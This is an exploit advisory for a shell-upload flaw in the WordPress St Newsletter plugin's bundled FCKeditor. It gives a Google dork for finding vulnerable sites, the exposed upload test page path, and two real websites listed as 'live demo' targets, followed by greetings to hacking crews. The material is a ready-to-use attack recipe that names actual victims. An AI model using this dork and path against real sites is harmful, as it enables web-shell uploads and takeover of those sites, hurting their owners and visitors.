The WordPress St Newsletter plugin suffers from a shell upload vulnerability.
628a5babed9e04c16023b162ca4bd9b883904239c0c29e3dc8bfd328e1b91089
.___ .___ .__ _________ .___
| | ____ __| _/ ____ ____ ____ ______|__|_____ ____ \_ ___ \ ____ __| _/ ____ _______
| | / \ / __ | / _ \ / \ _/ __ \ / ___/| |\__ \ / \ / \ \/ / _ \ / __ | _/ __ \ \_ __ \
| || | \/ /_/ | ( <_> )| | \\ ___/ \___ \ | | / __ \_| | \\ \____( <_> )/ /_/ | \ ___/ | | \/
|___||___| /\____ | \____/ |___| / \___ >/____ >|__|(____ /|___| / \______ / \____/ \____ | \___ > |__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/
[~]===========================================================================[~]
[~]Title : WordPress plugin St Newsletter (FCKeditor) File Upload
[~]Software : ShiftThis WP Newsletter Plugin
[~]Vendor : http://www.shiftthis.net/
[~]Download : NN
[~]Author : failed_404
[~]Contact : failed404@gmail.com
[~]Google Dork : inurl:"wp-content/plugins/st_newsletter"
[~]===========================================================================[~]
################################################################################################################################
===[ Exploit ]===
[»] http://[target].com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
[»] http://[target].com/[path]/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
===[ Live Demo ]===
http://bluesheaven.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
http://www.fishtheemeraldcoast.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
################################################################################################################################
Greats T0 :
./ INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - DEVILZCODE - EXPLORE CREW
./ kaMtiEz eL Farhatz Xrobot Tukulesto R3m1ck n4ck0 - vYc0d - Caddy-Dz K4pT3N - Chaer.Newbie - Yur4kh4 - Kedanz-Dz
./ ade yonatan Mboys k4l0ng666 kido dr.cruzz tabun GonzHack RyanAby - Alecs - Jundab - Ibl13Z - Hmei7 - nakula
./ And All My Friend
Note :
./ Cepat sembuh sayangku , I Love You Fitri Ardiyadila
./ Gathering Indonesian Coder in Magelang Ketua ne yo mas kaMtiEz
./ Susah nyari sahabat yang bisa jadi tempat curhat kala senang dan sedih